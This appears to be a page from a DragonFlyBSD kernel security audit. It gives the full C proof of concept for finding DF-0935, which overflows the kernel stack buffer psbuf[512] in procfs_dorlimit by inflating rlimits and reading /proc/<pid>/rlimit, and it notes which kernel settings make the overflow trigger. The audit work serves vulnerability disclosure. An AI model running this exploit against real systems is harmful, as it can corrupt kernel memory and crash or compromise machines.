DragonFlyBSD Kernel Audit
DF-0935 / dfpoc-rlimit-overflow.c
← back to finding ↓ download raw
/*
 * dfpoc-rlimit-overflow.c - DF-0935 PoC: stack overflow via unbounded
 *                          ksprintf into psbuf[512] in procfs_dorlimit.
 *
 * Strategy: set 6 uncapped rlimits to RLIM_INFINITY-1 (19 decimal digits),
 * then read /proc/<pid>/rlimit. On default kernel config total output
 * stays under 512 bytes (the capped resources stay short). On a system
 * with kern.maxdsiz / kern.maxssiz raised to ~10^14 or above, the
 * capped resources also expand to 19 digits and total output exceeds
 * 512, overflowing psbuf and corrupting the kernel stack.
 *
 * Build: cc -o dfpoc-rlimit-overflow dfpoc-rlimit-overflow.c
 * Run:   ./dfpoc-rlimit-overflow
 */
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

int
main(void)
{
    struct rlimit r;
    char path[64], buf[4096];
    int fd, i;

    /* Six resources NOT capped by kern_setrlimit */
    int res[] = {RLIMIT_CPU, RLIMIT_FSIZE, RLIMIT_CORE,
                 RLIMIT_RSS, RLIMIT_SBSIZE, RLIMIT_VMEM};

    /* Set soft=hard=RLIM_INFINITY-1 (19 decimal digits, not "-1"). */
    r.rlim_cur = RLIM_INFINITY - 1;
    r.rlim_max = RLIM_INFINITY - 1;
    for (i = 0; i < (int)(sizeof(res) / sizeof(res[0])); i++) {
        if (setrlimit(res[i], &r) < 0)
            perror("setrlimit");
    }

    /* Also try to inflate capped resources - caps clamp silently. */
    if (setrlimit(RLIMIT_DATA, &r) < 0) perror("data");
    if (setrlimit(RLIMIT_STACK, &r) < 0) perror("stack");

    snprintf(path, sizeof(path), "/proc/%d/rlimit", (int)getpid());
    fd = open(path, O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    ssize_t n = read(fd, buf, sizeof(buf));
    printf("read %zd bytes from %s\n", n, path);

    if (n > 512) {
        printf("OVERFLOW TRIGGERED: ksprintf wrote past psbuf[512]\n");
    } else {
        printf("no overflow on this config (default caps keep output < 512)\n");
        printf("to trigger: raise kern.maxdsiz/kern.maxssiz in /boot/loader.conf\n");
    }

    close(fd);
    return 0;
}